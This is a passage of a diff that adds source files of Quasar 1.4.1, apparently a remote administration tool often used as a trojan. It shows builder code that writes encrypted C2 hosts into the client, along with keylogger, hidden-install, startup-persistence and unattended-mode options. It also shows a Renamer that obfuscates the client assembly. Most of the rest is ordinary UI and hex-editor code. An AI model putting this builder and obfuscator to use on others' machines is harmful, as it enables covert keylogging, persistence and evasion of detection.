(typeDef.FullName == "Quasar.Client.Config.Settings") + { + foreach (var methodDef in typeDef.Methods) + { + if (methodDef.Name == ".cctor") + { + int strings = 1, bools = 1; + + for (int i = 0; i < methodDef.Body.Instructions.Count; i++) + { + if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldstr) // string + { + switch (strings) + { + case 1: //version + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Version); + break; + case 2: //ip/hostname + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.RawHosts); + break; + case 3: //installsub + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallSub); + break; + case 4: //installname + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallName); + break; + case 5: //mutex + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Mutex); + break; + case 6: //startupkey + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.StartupName); + break; + case 7: //encryption key + methodDef.Body.Instructions[i].Operand = key; + break; + case 8: //tag + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Tag); + break; + case 9: //LogDirectoryName + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.LogDirectoryName); + break; + case 10: //ServerSignature + methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature)); + break; + case 11: //ServerCertificate + methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert))); + break; + } + strings++; + } + else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_1 || + methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_0) // bool + { + switch (bools) + { + case 1: //install + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Install)); + break; + case 2: //startup + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Startup)); + break; + case 3: //hidefile + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideFile)); + break; + case 4: //Keylogger + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Keylogger)); + break; + case 5: //HideLogDirectory + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideLogDirectory)); + break; + case 6: // HideInstallSubdirectory + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideInstallSubdirectory)); + break; + case 7: // UnattendedMode + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.UnattendedMode)); + break; + } + bools++; + } + else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4) // int + { + //reconnectdelay + methodDef.Body.Instructions[i].Operand = _options.Delay; + } + else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_S) // sbyte + { + methodDef.Body.Instructions[i].Operand = GetSpecialFolder(_options.InstallPath); + } + } + } + } + } + } + } + + /// + /// Obtains the OpCode that corresponds to the bool value provided. + /// + /// The value to convert to the OpCode + /// Returns the OpCode that represents the value provided. + private OpCode BoolOpCode(bool p) + { + return (p) ? OpCodes.Ldc_I4_1 : OpCodes.Ldc_I4_0; + } + + /// + /// Attempts to obtain the signed-byte value of a special folder from the install path value provided. + /// + /// The integer value of the install path. + /// Returns the signed-byte value of the special folder. + /// Thrown if the path to the special folder was invalid. + private sbyte GetSpecialFolder(int installPath) + { + switch (installPath) + { + case 1: + return (sbyte)Environment.SpecialFolder.ApplicationData; + case 2: + return (sbyte)Environment.SpecialFolder.ProgramFiles; + case 3: + return (sbyte)Environment.SpecialFolder.System; + default: + throw new ArgumentException("InstallPath"); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Build/Renamer.cs b/Quasar-1.4.1/Quasar.Server/Build/Renamer.cs new file mode 100755 index 0000000..fe9ef52 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Build/Renamer.cs @@ -0,0 +1,195 @@ +using Mono.Cecil; +using Quasar.Common.Utilities; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace Quasar.Server.Build +{ + public class Renamer + { + /// + /// Contains the assembly definition. + /// + public AssemblyDefinition AsmDef { get; set; } + + private int Length { get; set; } + private MemberOverloader _typeOverloader; + private Dictionary _methodOverloaders; + private Dictionary _fieldOverloaders; + private Dictionary _eventOverloaders; + + public Renamer(AssemblyDefinition asmDef) + : this(asmDef, 20) + { + } + + public Renamer(AssemblyDefinition asmDef, int length) + { + this.AsmDef = asmDef; + this.Length = length; + _typeOverloader = new MemberOverloader(this.Length); + _methodOverloaders = new Dictionary(); + _fieldOverloaders = new Dictionary(); + _eventOverloaders = new Dictionary(); + } + + /// + /// Attempts to modify the assembly definition data. + /// + /// True if the operation succeeded; False if the operation failed. + public bool Perform() + { + try + { + foreach (TypeDefinition typeDef in AsmDef.Modules.SelectMany(module => module.Types)) + { + RenameInType(typeDef); + } + return true; + } + catch + { + return false; + } + } + + private void RenameInType(TypeDefinition typeDef) + { + if (!typeDef.Namespace.StartsWith("Quasar") || typeDef.Namespace.StartsWith("Quasar.Common.Messages") || typeDef.IsEnum /* || typeDef.HasInterfaces */) + return; + + _typeOverloader.GiveName(typeDef); + + typeDef.Namespace = string.Empty; + + MemberOverloader methodOverloader = GetMethodOverloader(typeDef); + MemberOverloader fieldOverloader = GetFieldOverloader(typeDef); + MemberOverloader eventOverloader = GetEventOverloader(typeDef); + + if (typeDef.HasNestedTypes) + foreach (TypeDefinition nestedType in typeDef.NestedTypes) + RenameInType(nestedType); + + if (typeDef.HasMethods) + foreach (MethodDefinition methodDef in + typeDef.Methods.Where(methodDef => + !methodDef.IsConstructor && !methodDef.HasCustomAttributes && + !methodDef.IsAbstract && !methodDef.IsVirtual)) + methodOverloader.GiveName(methodDef); + + if (typeDef.HasFields) + foreach (FieldDefinition fieldDef in typeDef.Fields) + fieldOverloader.GiveName(fieldDef); + + if (typeDef.HasEvents) + foreach (EventDefinition eventDef in typeDef.Events) + eventOverloader.GiveName(eventDef); + } + + private MemberOverloader GetMethodOverloader(TypeDefinition typeDef) + { + return GetOverloader(this._methodOverloaders, typeDef); + } + + private MemberOverloader GetFieldOverloader(TypeDefinition typeDef) + { + return GetOverloader(this._fieldOverloaders, typeDef); + } + + private MemberOverloader GetEventOverloader(TypeDefinition typeDef) + { + return GetOverloader(this._eventOverloaders, typeDef); + } + + private MemberOverloader GetOverloader(Dictionary overloaderDictionary, + TypeDefinition targetTypeDef) + { + MemberOverloader overloader; + if (!overloaderDictionary.TryGetValue(targetTypeDef, out overloader)) + { + overloader = new MemberOverloader(this.Length); + overloaderDictionary.Add(targetTypeDef, overloader); + } + return overloader; + } + + private class MemberOverloader + { + private bool DoRandom { get; set; } + private int StartingLength { get; set; } + private readonly Dictionary _renamedMembers = new Dictionary(); + private readonly char[] _charMap; + private readonly SafeRandom _random = new SafeRandom(); + private int[] _indices; + + public MemberOverloader(int startingLength, bool doRandom = true) + : this(startingLength, doRandom, "ABCDEFGHIJKLMNOPQRSTUVWXYZ".ToLower().ToCharArray()) + { + } + + private MemberOverloader(int startingLength, bool doRandom, char[] chars) + { + this._charMap = chars; + this.DoRandom = doRandom; + this.StartingLength = startingLength; + this._indices = new int[startingLength]; + } + + public void GiveName(MemberReference member) + { + string currentName = GetCurrentName(); + string originalName = member.ToString(); + member.Name = currentName; + while (_renamedMembers.ContainsValue(member.ToString())) + { + member.Name = GetCurrentName(); + } + _renamedMembers.Add(originalName, member.ToString()); + } + + private string GetCurrentName() + { + return DoRandom ? GetRandomName() : GetOverloadedName(); + } + + private string GetRandomName() + { + StringBuilder builder = new StringBuilder(); + + for (int i = 0; i < StartingLength; i++) + { + builder.Append((char)_random.Next(int.MinValue, int.MaxValue)); + } + + return builder.ToString(); + } + + private string GetOverloadedName() + { + IncrementIndices(); + char[] chars = new char[_indices.Length]; + for (int i = 0; i < _indices.Length; i++) + chars[i] = _charMap[_indices[i]]; + return new string(chars); + } + + private void IncrementIndices() + { + for (int i = _indices.Length - 1; i >= 0; i--) + { + _indices[i]++; + if (_indices[i] >= _charMap.Length) + { + if (i == 0) + Array.Resize(ref _indices, _indices.Length + 1); + _indices[i] = 0; + } + else + break; + } + } + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Controls/DotNetBarTabControl.cs b/Quasar-1.4.1/Quasar.Server/Controls/DotNetBarTabControl.cs new file mode 100755 index 0000000..8e811a6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/DotNetBarTabControl.cs @@ -0,0 +1,155 @@ +using System; +using System.Drawing; +using System.Drawing.Drawing2D; +using System.Windows.Forms; + +// thanks to Mavamaarten~ for coding this + +namespace Quasar.Server.Controls +{ + internal class DotNetBarTabControl : TabControl + { + // Cached render bitmap — only rebuilt when layout changes + private Bitmap _cache; + private int _cacheSelectedIndex = -1; + private Size _cacheSize; + + // Pre-allocated brushes and pens + private static readonly SolidBrush _sidebarBrush = new SolidBrush(Color.FromArgb(50, 50, 55)); + private static readonly SolidBrush _selectedTabBrush = new SolidBrush(Color.FromArgb(65, 65, 72)); + private static readonly SolidBrush _textBrush = new SolidBrush(Color.White); + private static readonly SolidBrush _unselTextBrush = new SolidBrush(Color.FromArgb(180, 180, 185)); + private static readonly SolidBrush _transBrush = new SolidBrush(Color.Transparent); + private static readonly Pen _borderPen = new Pen(Color.FromArgb(70, 70, 78)); + + private static readonly StringFormat _centerFormat = new StringFormat + { + LineAlignment = StringAlignment.Center, + Alignment = StringAlignment.Center + }; + + public DotNetBarTabControl() + { + SetStyle( + ControlStyles.AllPaintingInWmPaint | ControlStyles.ResizeRedraw | + ControlStyles.UserPaint | ControlStyles.DoubleBuffer, true); + SizeMode = TabSizeMode.Fixed; + ItemSize = new Size(44, 136); + Alignment = TabAlignment.Left; + SelectedIndex = 0; + } + + private bool NeedsRedraw() + { + return _cache == null + || _cacheSize != Size + || _cacheSelectedIndex != SelectedIndex; + } + + private void RebuildCache() + { + _cache?.Dispose(); + _cache = new Bitmap(Width, Height); + _cacheSize = Size; + _cacheSelectedIndex = SelectedIndex; + + using (Graphics g = Graphics.FromImage(_cache)) + { + g.Clear(Color.Transparent); + + // Sidebar background + g.FillRectangle(_sidebarBrush, new Rectangle(0, 0, ItemSize.Height + 4, Height)); + g.DrawLine(_borderPen, new Point(ItemSize.Height + 3, 0), new Point(ItemSize.Height + 3, Height)); + g.DrawLine(_borderPen, new Point(0, Height - 1), new Point(Width + 3, Height - 1)); + + for (int i = 0; i < TabCount; i++) + { + Rectangle tabRect = GetTabRect(i); + Rectangle x2 = new Rectangle( + tabRect.Location.X - 2, + tabRect.Location.Y - 2, + tabRect.Width + 3, + tabRect.Height - 1); + + if (i == SelectedIndex) + { + g.FillRectangle(_selectedTabBrush, x2); + g.DrawRectangle(_borderPen, x2); + + g.SmoothingMode = SmoothingMode.HighQuality; + Point[] arrow = + { + new Point(ItemSize.Height - 3, tabRect.Location.Y + 20), + new Point(ItemSize.Height + 4, tabRect.Location.Y + 14), + new Point(ItemSize.Height + 4, tabRect.Location.Y + 27) + }; + g.FillPolygon(_transBrush, arrow); + g.DrawPolygon(_borderPen, arrow); + g.SmoothingMode = SmoothingMode.Default; + + Font boldFont = new Font(Font.FontFamily, Font.Size, FontStyle.Bold); + if (ImageList != null) + { + try + { + g.DrawImage(ImageList.Images[TabPages[i].ImageIndex], + new Point(x2.Location.X + 8, x2.Location.Y + 6)); + g.DrawString(" " + TabPages[i].Text, boldFont, _textBrush, x2, _centerFormat); + } + catch + { + g.DrawString(TabPages[i].Text, boldFont, _textBrush, x2, _centerFormat); + } + } + else + { + g.DrawString(TabPages[i].Text, boldFont, _textBrush, x2, _centerFormat); + } + boldFont.Dispose(); + } + else + { + g.FillRectangle(_sidebarBrush, x2); + g.DrawLine(_borderPen, new Point(x2.Right, x2.Top), new Point(x2.Right, x2.Bottom)); + + if (ImageList != null) + { + try + { + g.DrawImage(ImageList.Images[TabPages[i].ImageIndex], + new Point(x2.Location.X + 8, x2.Location.Y + 6)); + g.DrawString(" " + TabPages[i].Text, Font, _unselTextBrush, x2, _centerFormat); + } + catch + { + g.DrawString(TabPages[i].Text, Font, _unselTextBrush, x2, _centerFormat); + } + } + else + { + g.DrawString(TabPages[i].Text, Font, _unselTextBrush, x2, _centerFormat); + } + } + } + } + } + + protected override void OnPaint(PaintEventArgs e) + { + if (!DesignMode && SelectedTab != null) + SelectedTab.BackColor = Color.FromArgb(32, 32, 36); + + if (NeedsRedraw()) + RebuildCache(); + + e.Graphics.DrawImage(_cache, Point.Empty); + } + + protected override void Dispose(bool disposing) + { + if (disposing) + _cache?.Dispose(); + base.Dispose(disposing); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/ByteCollection.cs b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/ByteCollection.cs new file mode 100755 index 0000000..42e8249 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/ByteCollection.cs @@ -0,0 +1,82 @@ +using System; +using System.Collections.Generic; + +namespace Quasar.Server.Controls.HexEditor +{ + public class ByteCollection + { + private List _bytes; + + #region Properties + + public int Length + { + get { return _bytes.Count; } + } + + #endregion + + #region Constructor + + public ByteCollection() + { + _bytes = new List(); + } + + public ByteCollection(byte[] bytes) + { + _bytes = new List(bytes); + } + + #endregion + + #region Methods + + public void Add(byte item) + { + _bytes.Add(item); + } + + public void Insert(int index, byte item) + { + _bytes.Insert(index, item); + } + + public void Remove(byte item) + { + _bytes.Remove(item); + } + + public void RemoveAt(int index) + { + _bytes.RemoveAt(index); + } + + public void RemoveRange(int startIndex, int count) + { + _bytes.RemoveRange(startIndex, count); + } + + public byte GetAt(int index) + { + return _bytes[index]; + } + + public void SetAt(int index, byte item) + { + _bytes[index] = item; + } + + public char GetCharAt(int index) + { + return Convert.ToChar(_bytes[index]); + } + + public byte[] ToArray() + { + return _bytes.ToArray(); + } + + #endregion + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/Caret.cs b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/Caret.cs new file mode 100755 index 0000000..ac83acd --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/Caret.cs @@ -0,0 +1,232 @@ +using System; +using System.Drawing; +using System.Runtime.InteropServices; + +namespace Quasar.Server.Controls.HexEditor +{ + public class Caret + { + #region Field + + /// + /// Contains the start index + /// where the caret started + /// + int _startIndex; + + /// + /// Contains the end index + /// where the caret is + /// currently located + /// + int _endIndex; + + /// + /// Tells if the given caret + /// is active in the controller + /// (control is in focus) + /// + bool _isCaretActive; + + + /// + /// Tells if the caret is + /// currently hidden or + /// not (out of view) + /// + bool _isCaretHidden; + + /// + /// Holds the actual position + /// of the caret + /// + Point _location; + + private HexEditor _editor; + + #endregion + + #region Properties + + public int SelectionStart + { + get + { + if (_endIndex < _startIndex) + return _endIndex; + return _startIndex; + } + } + + public int SelectionLength + { + get + { + if (_endIndex < _startIndex) + return _startIndex - _endIndex; + return _endIndex - _startIndex; + } + } + + public bool Focused + { + get { return _isCaretActive; } + } + + public int CurrentIndex + { + get { return _endIndex; } + } + + public Point Location + { + get { return _location; } + } + + #endregion + + #region EventHandlers + + public event EventHandler SelectionStartChanged; + + public event EventHandler SelectionLengthChanged; + + #endregion + + #region Constructor + + public Caret(HexEditor editor) + { + _editor = editor; + _isCaretActive = false; + _startIndex = 0; + _endIndex = 0; + _isCaretHidden = true; + _location = new Point(0, 0); + } + + #endregion + + #region Methods + + #region Caret + + private bool Create(IntPtr hWHandler) + { + if (!_isCaretActive) + { + _isCaretActive = true; + return CreateCaret(hWHandler, IntPtr.Zero, 0, (int)_editor.CharSize.Height - 2); + } + + return false; + } + + private bool Show(IntPtr hWnd) + { + if (_isCaretActive) + { + _isCaretHidden = false; + return ShowCaret(hWnd); + } + + return false; + } + + public bool Hide(IntPtr hWnd) + { + if (_isCaretActive && !_isCaretHidden) + { + _isCaretHidden = true; + return HideCaret(hWnd); + } + return false; + } + + public bool Destroy() + { + if (_isCaretActive) + { + _isCaretActive = false; + DeSelect(); + DestroyCaret(); + } + + return false; + } + + #endregion + + public void SetStartIndex(int index) + { + _startIndex = index; + _endIndex = _startIndex; + + if (SelectionStartChanged != null) + SelectionStartChanged(this, EventArgs.Empty); + + if (SelectionLengthChanged != null) + SelectionLengthChanged(this, EventArgs.Empty); + + } + + public void SetEndIndex(int index) + { + _endIndex = index; + + if (SelectionStartChanged != null) + SelectionStartChanged(this, EventArgs.Empty); + + if (SelectionLengthChanged != null) + SelectionLengthChanged(this, EventArgs.Empty); + } + + public void SetCaretLocation(Point start) + { + Create(_editor.Handle); + _location = start; + SetCaretPos(_location.X, _location.Y); + Show(_editor.Handle); + } + + public bool IsSelected(int byteIndex) + { + return (SelectionStart <= byteIndex && byteIndex < (SelectionStart + SelectionLength)); + } + + private void DeSelect() + { + if (_endIndex < _startIndex) + _startIndex = _endIndex; + else + _endIndex = _startIndex; + + if (SelectionStartChanged != null) + SelectionStartChanged(this, EventArgs.Empty); + + if (SelectionLengthChanged != null) + SelectionLengthChanged(this, EventArgs.Empty); + } + + #endregion + + #region Caret import + + [DllImport("user32.dll", SetLastError = true)] + static extern bool CreateCaret(IntPtr hWnd, IntPtr hBitmap, int nWidth, int nHeight); + + [DllImport("user32.dll", SetLastError = true)] + static extern bool DestroyCaret(); + + [DllImport("user32.dll", SetLastError = true)] + static extern bool SetCaretPos(int x, int y); + + [DllImport("user32.dll", SetLastError = true)] + static extern bool ShowCaret(IntPtr hWnd); + + [DllImport("user32.dll", SetLastError = true)] + static extern bool HideCaret(IntPtr hWnd); + + #endregion + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/EditView.cs b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/EditView.cs new file mode 100755 index 0000000..586b9fc --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/EditView.cs @@ -0,0 +1,177 @@ +using System; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Controls.HexEditor +{ + public class EditView : IKeyMouseEventHandler + { + #region Fields + + /// + /// Contains the handler for the hex + /// view. + /// + private HexViewHandler _hexView; + + /// + /// Contains the handler for the + /// string view + /// + private StringViewHandler _stringView; + + private HexEditor _editor; + + #endregion + + #region Contructor + + public EditView(HexEditor editor) + { + _editor = editor; + _hexView = new HexViewHandler(editor); + _stringView = new StringViewHandler(editor); + } + + #endregion + + #region KeyMouseEvent + + #region Key + + public void OnKeyPress(KeyPressEventArgs e) + { + if (InHexView(_editor.CaretPosX)) + { + _hexView.OnKeyPress(e); + } + else + { + _stringView.OnKeyPress(e); + } + } + + public void OnKeyDown(KeyEventArgs e) + { + if (InHexView(_editor.CaretPosX)) + { + _hexView.OnKeyDown(e); + } + else + { + _stringView.OnKeyDown(e); + } + } + + public void OnKeyUp(KeyEventArgs e) + { /* ... */ } + + #endregion + + #region Mouse + + public void OnMouseDown(MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + if (InHexView(e.X)) + { + _hexView.OnMouseDown(e.X, e.Y); + } + else + { + _stringView.OnMouseDown(e.X, e.Y); + } + } + } + + public void OnMouseDragged(MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + if (InHexView(e.X)) + { + _hexView.OnMouseDragged(e.X, e.Y); + } + else + { + _stringView.OnMouseDragged(e.X, e.Y); + } + } + } + + public void OnMouseUp(MouseEventArgs e) + { /* ... */ } + + public void OnMouseDoubleClick(MouseEventArgs e) + { + if (e.Button == MouseButtons.Left) + { + if (InHexView(e.X)) + { + _hexView.OnMouseDoubleClick(); + } + else + { + _stringView.OnMouseDoubleClick(); + } + } + } + + #endregion + + #region Focus + + public void OnGotFocus(EventArgs e) + { + if (InHexView(_editor.CaretPosX)) + _hexView.Focus(); + else + _stringView.Focus(); + } + + #endregion + + #endregion + + #region UpdateActions + public void SetLowerCase() + { + _hexView.SetLowerCase(); + } + + public void SetUpperCase() + { + _hexView.SetUpperCase(); + } + + public void Update(int startPositionX, Rectangle area) + { + _hexView.Update(startPositionX, area); + _stringView.Update(_hexView.MaxWidth, area); + } + #endregion + + #region PaintActions + + public void Paint(Graphics g, int startIndex, int endIndex) + { + for (int i = 0; (i + startIndex) < endIndex; i++) + { + _hexView.Paint(g, i, startIndex); + _stringView.Paint(g, i, startIndex); + } + } + + #endregion + + #region Misc + + private bool InHexView(int x) + { + return (x < (_hexView.MaxWidth + _editor.EntityMargin - 2)); + } + + #endregion + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/HexEditor.cs b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/HexEditor.cs new file mode 100755 index 0000000..fba3492 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Controls/HexEditor/HexEditor.cs @@ -0,0 +1,1361 @@ +using System; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Controls.HexEditor +{ + /* + * Derived and Adapted from Bernhard Elbl + * Be.HexEditor v1.6 (Last Update: Dec 27, 2013). + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * This code (and the rest that is avaliable in the + * HexEditor-folder) has been derived from Bernhard + * ElblBe's Be.HexEditor v1.6, modifications have + * been made to make it better fit the new application + * area. + * First Modified by StingRaptor on Febuary 7, 2016 + */ + /* [Original License, ONLY for Current HexEditor Folder] + * This license is applied only to the files in the current + * HexEditor Folder + + * The MIT License + + Copyright (c) 2011 Bernhard Elbl + + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), to deal + in the Software without restriction, including without limitation the rights + to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + copies of the Software, and to permit persons to whom the Software is + furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in + all copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + THE SOFTWARE. + */ + /* + * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + * Unmodified Source: + * http://sourceforge.net/projects/hexbox/?source=navbar + */ + + public class HexEditor : Control + { + #region Locks + + private object _caretLock = new object(); + + private object _hexTableLock = new object(); + + #endregion + + #region IKeyMouseEventHandlers + + private IKeyMouseEventHandler _handler; + + #endregion + + #region EditView + + private EditView _editView; + + #endregion + + #region Fields + + /// + /// Contains all of the bytes that + /// are to be displayed in the + /// HexEditor + /// + ByteCollection _hexTable; + + /// + /// Contains the type of counter + /// for the linecount + /// + string _lineCountCaps = "X"; + + /// + /// Contains the number of chars + /// to be used in the line count + /// + int _nrCharsLineCount = 4; + + /// + /// Contains the caret for the + /// control + /// + Caret _caret; + + #region Boundarys + + /// + /// Contains the bound for everything that + /// is to be displayed in the control + /// + Rectangle _recContent; + + /// + /// Contains the boundary for every + /// line count for the control + /// + Rectangle _recLineCount; + + #endregion + + #region String Format + + /// + /// Contains the format of the line count + /// string that is presented in this control + /// + StringFormat _stringFormat; + + #endregion + + #region Byte specific + + /// + /// Contains the index of the first + /// visible byte + /// + int _firstByte; + + /// + /// Contains the index of the last + /// visible byte + /// + int _lastByte; + + /// + /// Contains the maximum bytes that + /// can be visible horizontally + /// + int _maxBytesH; + + /// + /// Contains the maximum bytes that + /// can be visible vertically + /// + int _maxBytesV; + + /// + /// Contains the maximum number of + /// bytes that can be visible at a + /// time. + /// + int _maxBytes; + + /// + /// Contains the maximum number of + /// rows with bytes that are fully + /// visible. + /// + int _maxVisibleBytesV; + + #endregion + + #region Scrollbar + + /// + /// Contains the vertical scroll + /// bar for the control + /// + VScrollBar _vScrollBar; + + /// + /// Contains the with of the scrollbar + /// in pixels + /// + int _vScrollBarWidth = 20; + + /// + /// Contains the current position of the + /// scrollbar + /// + int _vScrollPos; + + /// + /// Contains the maximum value that + /// the scrollbar can have + /// + int _vScrollMax; + + /// + /// Contains the minimum value + /// that the scrollbar may have + /// + int _vScrollMin; + + /// + /// Contains the value for the + /// size of a smallchange in the + /// scrollbar + /// + int _vScrollSmall; + + /// + /// Contains the value for the + /// size of a largechange in the + /// scrollbar + /// + int _vScrollLarge; + + #endregion + + #endregion + + #region Properties + + #region enums + + public enum CaseStyle { LowerCase, UpperCase } + + #endregion + + #region Overriden + + //Override font to trigger update on font change + public override Font Font + { + set + { + base.Font = value; + + UpdateRectanglePositioning(); + Invalidate(); + } + } + + //Hides the property Text that is not used for the control + [Browsable(false), EditorBrowsable(EditorBrowsableState.Never)] + public override string Text + { + get + { + return base.Text; + } + set + { + base.Text = value; + } + } + + #endregion + + #region Hidden + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public byte[] HexTable + { + get + { + lock (_hexTableLock) + { + return _hexTable.ToArray(); + } + } + set + { + lock (_hexTableLock) + { + if (value == _hexTable.ToArray()) + return; + + _hexTable = new ByteCollection(value); + } + UpdateRectanglePositioning(); + Invalidate(); + } + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public SizeF CharSize + { + get { return _charSize; } + private set + { + if (_charSize == value) + return; + + _charSize = value; + + if (CharSizeChanged != null) + CharSizeChanged(this, EventArgs.Empty); + } + }SizeF _charSize; + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public int MaxBytesV + { + get { return _maxBytesV; } + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public int FirstVisibleByte + { + get { return _firstByte; } + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public int LastVisibleByte + { + get { return _lastByte; } + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public bool VScrollBarHidden + { + get { return _isVScrollHidden; } + set + { + if (_isVScrollHidden == value) + return; + + _isVScrollHidden = value; + + if (!_isVScrollHidden) + Controls.Add(_vScrollBar); + else + Controls.Remove(_vScrollBar); + + UpdateRectanglePositioning(); + Invalidate(); + } + }bool _isVScrollHidden = true; + + #endregion + + #region Visible + + /// + /// Contains the number of bytes to + /// display per line + /// + [DefaultValue(8), Category("Hex"), Description("Property that specifies the number of bytes to display per line.")] + public int BytesPerLine + { + get { return _bytesPerLine; } + set + { + if (_bytesPerLine == value) + return; + + _bytesPerLine = value; + UpdateRectanglePositioning(); + Invalidate(); + } + }int _bytesPerLine = 8; + + + /// + /// Contains the margin between each + /// of the entitys + /// + [DefaultValue(10), Category("Hex"), Description("Property that specifies the margin between each of the entitys in the control.")] + public int EntityMargin + { + get { return _entityMargin; } + set + { + if (_entityMargin == value) + return; + + _entityMargin = value; + UpdateRectanglePositioning(); + Invalidate(); + } + }int _entityMargin = 10; + + /// + /// Contains the type of border + /// that is used for the control + /// + [DefaultValue(BorderStyle.Fixed3D), Category("Appearance"), Description("Indicates where the control should have a border.")] + public BorderStyle BorderStyle + { + get { return _borderStyle; } + set + { + if (_borderStyle == value) + return; + + if (value != BorderStyle.FixedSingle) + _borderColor = Color.Empty; + + _borderStyle = value; + UpdateRectanglePositioning(); + Invalidate(); + } + }BorderStyle _borderStyle = BorderStyle.Fixed3D; + + /// + /// Contains the color for the border + /// that is used for the control + /// (Only used when BorderStyle is FixedSingle) + /// + [DefaultValue(typeof(Color), "Empty"), Category("Appearance"), Description("Indicates the color to be used when displaying a FixedSingle border.")] + public Color BorderColor + { + get { return _borderColor; } + set + { + if (BorderStyle != BorderStyle.FixedSingle || _borderColor == value) + return; + + _borderColor = value; + Invalidate(); + } + }Color _borderColor = Color.Empty; + + /// + /// Contains the color of the selected + /// background area in the control + /// + [DefaultValue(typeof(Color), "Blue"), Category("Hex"), Description("Property for the background color of the selected text areas.")] + public Color SelectionBackColor + { + get { return _selectionBackColor; } + set + { + if (_selectionBackColor == value) + return; + + _selectionBackColor = value; + } + }Color _selectionBackColor = Color.Blue; + + /// + /// Contains the color of the selected + /// foreground area in the control + /// + [DefaultValue(typeof(Color), "White"), Category("Hex"), Description("Property for the foreground color of the selected text areas.")] + public Color SelectionForeColor + { + get { return _selectionForeColor; } + set + { + if (_selectionForeColor == value) + return; + + _selectionForeColor = value; + } + }Color _selectionForeColor = Color.White; + + /// + /// Contains the case type for the + /// line counter + /// + [DefaultValue(CaseStyle.UpperCase), Category("Hex"), Description("Property for the case type to use on the line counter.")] + public CaseStyle LineCountCaseStyle + { + get { return _lineCountCaseStyle; } + set + { + if (_lineCountCaseStyle == value) + return; + + _lineCountCaseStyle = value; + + if (_lineCountCaseStyle == CaseStyle.LowerCase) + _lineCountCaps = "x"; + else + _lineCountCaps = "X"; + + Invalidate(); + } + }CaseStyle _lineCountCaseStyle = CaseStyle.UpperCase; + + /// + /// Contains the case type for the + /// hex view. + /// + [DefaultValue(CaseStyle.UpperCase), Category("Hex"), Description("Property for the case type to use for the hexadecimal values view.")] + public CaseStyle HexViewCaseStyle + { + get { return _hexViewCaseStyle; } + set + { + if (_hexViewCaseStyle == value) + return; + + _hexViewCaseStyle = value; + + if (_hexViewCaseStyle == CaseStyle.LowerCase) + _editView.SetLowerCase(); + else + _editView.SetUpperCase(); + + Invalidate(); + } + }CaseStyle _hexViewCaseStyle = CaseStyle.UpperCase; + + /// + /// Property that contains if the + /// vertical scrollbar should be + /// 